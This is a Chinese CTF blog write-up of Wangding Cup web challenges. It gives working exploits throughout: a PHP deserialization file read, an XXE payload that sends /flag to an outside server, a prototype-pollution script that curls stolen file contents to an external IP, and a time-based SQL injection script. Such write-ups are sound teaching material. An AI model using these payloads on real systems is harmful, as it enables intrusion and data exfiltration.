byc_404's blog

Do not go gentle into that good night

网鼎青龙组成功挺进线下,当然要感谢队友们的给力发挥,X1c两只队也能成功会师半决赛了.(就是对我这样的awd小白而言估计又是去当炮灰了)

说下比赛感受吧。老实说web手比赛体验并不好。开赛到12点才出现第一道WEB题.而这之前唯一一个签到靶机题我开了一个小时都是坏的…
然后是比赛氛围,老实说明眼人应该都看得出来了。中间py什么的就不多说了。java那题我眼睁睁看着5分钟内涨了几十解。至于其他几个二进制的题更不用提,做出来的人数就是铁证了。最后五分钟内,十几秒时间我们队掉了十多名然后又蹦回来了就很迷。
然后动态靶机一队只能开一个,老实说很大程度上束缚了开题的节奏。

比赛难度倒还能接受。按郁师傅说的,这次没ak web不太应该。当然其实是最后看着只剩10多分钟时名次稳了就做不动了.赛后复现最后一个题时也发现确实不改完没做出来的。总之这里把所有WEB题解都记录下吧。

AreUserialize

今日玄学题。首先是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

功能上有一个任意写跟任意读。只需要过一个valid函数检查就能反序列化。op的值决定了读/写功能。

首先析构函数明显是入手点。但是他限制了当op为"2"时令op为"1"也就是写功能。然后又置内容为空。
跟进到process()函数看下,会明显的发现它采用了$this->op == "2"这样的弱类型相等判断。
那么漏洞很明显了,我们可以利用弱类型比较绕过析构函数的限制,达成任意文件读取。

不过注意的是,原题的Filehandler类属性都是protected,表现出来的结果就是序列化数据有空字符。而这是过不了is_valid()的检查的

但是不要紧。php7.2+版本下反序列化并不在乎你传入的数据属性是否是protected。所以我们改成public即可。

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler {

public $op = 2;
public $filename = "file:///web/html/flag.php";

}

$o = new FileHandler();
echo urlencode(serialize($o));

2=="2","2e0"=="2"这种技巧不用多说了。这里要解释的是比较坑的后面的filename。开始直接伪协议读flag.php读不到。这个从源码角度讲完全没道理。
然后只能尝试用绝对路径读了。基于我们其他文件都能轻松读到,我们先构造个404看看这是什么服务器。
发现是 Alpine的镜像。
于是查了波其web路径的配置/web/config/httpd.conf

然后得到web路径后换绝对路径就读到了,玄学问题。

ps:
赛后突然想起来原来在做D^3时踩过的一个坑。就是apache的析构函数执行时工作目录可能会变。所以用相对路径读时是获取不到flag.php的.当然这是概率问题、有的人就能直接读到。

filejava

这题能出200解我是真没想到的,主要中间那波垂直上分太突兀了。但仔细想我也是那个时间交的flag…

当然题目肯定是简单题。首先进去有一个我开始忽略的信息就是它在upload界面提示flag在/flag、然后随便上传个文件,马上就测出是个任意文件下载

那老套路先从/WEB-INF/web.xml开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

三个Servlet,路径也都给出来了,一个个读然后反编译吧。

这里直接给出含有关键代码的java
UploadServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name: UploadServlet.java

package cn.abc.servlet;

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.*;

public class UploadServlet extends HttpServlet
{

public UploadServlet()
{
}

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String savePath;
File tempFile;
String message;
savePath = getServletContext().getRealPath("/WEB-INF/upload");
String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
tempFile = new File(tempPath);
if(!tempFile.exists())
tempFile.mkdir();
message = "";
ServletFileUpload upload;
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(0x19000);
factory.setRepository(tempFile);
upload = new ServletFileUpload(factory);
upload.setProgressListener(new Object() /* anonymous class not found */
class _anm1 {}
);
upload.setHeaderEncoding("UTF-8");
upload.setFileSizeMax(0x100000L);
upload.setSizeMax(0xa00000L);
if(!ServletFileUpload.isMultipartContent(request))
return;
try
{
List list = upload.parseRequest(request);
Iterator iterator = list.iterator();
do
{
if(!iterator.hasNext())
break;
FileItem fileItem = (FileItem)iterator.next();
if(fileItem.isFormField())
{
String name = fileItem.getFieldName();
String s = fileItem.getString("UTF-8");
} else
{
String filename = fileItem.getName();
if(filename != null && !filename.trim().equals(""))
{
String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
if(filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try
{
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
}
catch(InvalidFormatException e)
{
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
String saveFilename = makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);
String realSavePath = makePath(saveFilename, savePath);
FileOutputStream out = new FileOutputStream((new StringBuilder()).append(realSavePath).append("/").append(saveFilename).toString());
byte buffer[] = new byte[1024];
for(int len = 0; (len = in.read(buffer)) > 0;)
out.write(buffer, 0, len);

in.close();
out.close();
message = "\u6587\u4EF6\u4E0A\u4F20\u6210\u529F!";
}
}
} while(true);
}
catch(FileUploadException e)
{
e.printStackTrace();
}
request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward(request, response);
return;
}

private String makeFileName(String filename)
{
return (new StringBuilder()).append(UUID.randomUUID().toString()).append("_").append(filename).toString();
}

private String makePath(String filename, String savePath)
{
int hashCode = filename.hashCode();
int dir1 = hashCode & 0xf;
int dir2 = (hashCode & 0xf0) >> 4;
String dir = (new StringBuilder()).append(savePath).append("/").append(dir1).append("/").append(dir2).toString();
File file = new File(dir);
if(!file.exists())
file.mkdirs();
return dir;
}

private static final long serialVersionUID = 1L;
}

实话说,第一步读完后看了眼所有的源码。没看出什么端倪。(其实是看漏了)
第一想法是幽灵猫。但是问了下队友说8009端口不是开的就作罢。
然后想利用刚刚的任意文件下载读flag.却发现被定位到404了。仔细看源码会发现
DownloadServlet.java

1
2
3
4
5
6
if(fileName != null && fileName.toLowerCase().contains("flag"))
{
request.setAttribute("message", "\u7981\u6B62\u8BFB\u53D6");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}

果然过滤了关键字。需要其他方法读flag.

此时回过头发现uploadservlet有一段突兀的源码

1
2
3
4
5
6
7
8
9
10
11
12
if(filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try
{
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
}
catch(InvalidFormatException e)
{
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}

我第一想法是想到之前曾经看过但没做过的swpuctf web5.那道题是我第一次见过能用xlsx打xxe的类型。而它用到的就是一个很老的cve,CVE-2014-3529.

而这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。而这个CVE的poi版本恰好是poi-ooxml-3.10

那就不用说了,先试着按流程构造下payload。
注意,这里构造payload时最好在zip中打开我们需要修改的[Content-Types].xml。否则可能会出错。这是我听同学说才知道有这种玄学问题。我个人是先将xlsx改为zip,然后winrar直接打开修改xml的poc。最后再改回来。这样应该就没啥问题了。

发现vps能收到请求。那就直接xxe盲打一把梭了。
poc

1
2
3
4
5
6
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://xxxxxx/1.xml">
%int;
%all;
%send;
]>

vps上的1.xml

1
2
<!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://xxxxxxxx/?%payl;'>">

监听80端口收到flag

notes

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

老实说一开始审完源码没啥收获。大概的思路是,题目已经有了一个命令执行。那么我要是能修改它固定死的命令内容就能任意打了。但是这种达成肯定是要原型链污染的。我没看到merge()之类的函数就没继续想了

然后之后发现这题居然有原题参考的…
https://github.com/balsn/ctf_writeup/blob/master/20181124-asisctffinal/README.md#secure-api
仔细看了下发现好像几乎一样啊。只有一个undefsafe依赖的区别.
然后就发现这个依赖果然存在原型链污染的问题

Prototype Pollution

1
2
3
4
var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

参照这个例子,我们很快就能找到原型链的污染点在edit_note这。

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

然后按wp的payload改就行了

1
2
3
4
5
6
7
8
9
import requests

s = requests.session()
data={'raw':'curl 120.27.246.202/?`cat /flag`','id':'__proto__','author':'byc_404'}
url='http://bed4f32827b843ca9ad5b763749970dd265f40236d544ada.cloudgame1.ichunqiu.com:8080/'
r=s.post(url+'edit_note',json=data)
print(r.text)
r=s.get(url+"status")
print(r.text)

这里id污染了后用raw或者author两个属性都能命令执行。当然因为回显的原因我们选择curl外带数据

trace

这题没做出来确实不太应该。赛后按郁师傅的思路果然一下就出了。不过也证明sql里的技巧确实不少啊。

首先当然是sql类型.题目只有一个register_do.php,而没有login的功能。
测了一会后突然发现,回显变成了WTF???row>20而且你的payload怎么改回显都一致.
那么此时可以大致推断下。我们的payload是被拼接进了insert into语句。因此数据库的返回结果才会增多到上限20。

那么首先猜测结构,构造payload
username=admin',if(1=1,sleep(5),1))#
会发现虽然返回了504。但是的确可以延时.
然而再按照这个思路构造盲注payload却发现我们并不能跑出什么结果。此时再访问register_do.php发现row又超出20了.

所以关键就是,我们要想办法不增加结果,同时还能延时。

这里就得膜一波郁师傅了。10分钟不到就能出结果…
payload:

1
1'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),1,1))=102,pow(9999,100) or sleep(3),pow(9999,100)),'1')#

既然没有什么waf。我们就把主体部分带上if字句进行时间盲注的判断。但是此时我们让结果同时pow(9999,100)也就是报错一下。那么我们就不用担心语句数超过20的上限。

然后发现表名不知道为什么跑不出来。但是可以直接尝试flag表然后无列名注入。

1
select `2` from (select 1,2 union select * from flag)a limit 1,1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
flag=""
for i in range(1,50):
print(i)
a=0
for j in "0123456789abcdefghijklmnopqrstuvwxyz{}-":
url = 'http://1ff59e94406f4210a83ac8268a0037c3334b9006071c441b.changame.ichunqiu.com/register_do.php'
payload = "1'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),"+str(i)+",1))=" + str(ord(j)) + ",pow(99999,100) or sleep(3),pow(99999,100)),'1')#"
data = {
'username': payload,
'password': '321'
}

r = requests.post(url, data=data)
try:
r = requests.post(url, data=data, timeout=3.0)
except requests.exceptions.ReadTimeout:
flag+=j
print(flag)
a=1
break
if a==0:
break


老实说最后十几分钟可能不够做出来的吧。但如果更早点敏锐的察觉到这种注入并找到手段就好了…但是这题收获还是不少的。毕竟自己好久没见到insert_into的盲注。手法也生疏了不少。sql注入的技巧学习还要继续加把劲啊。

小结

网鼎结束后这个月还有不少其他比赛。不过估计没多少时间花在CTF上了。这个月一方面希望把java,渗透等方面的知识再接触下。然后比赛打好。等下个月差不多就要专注在学业上了。

评论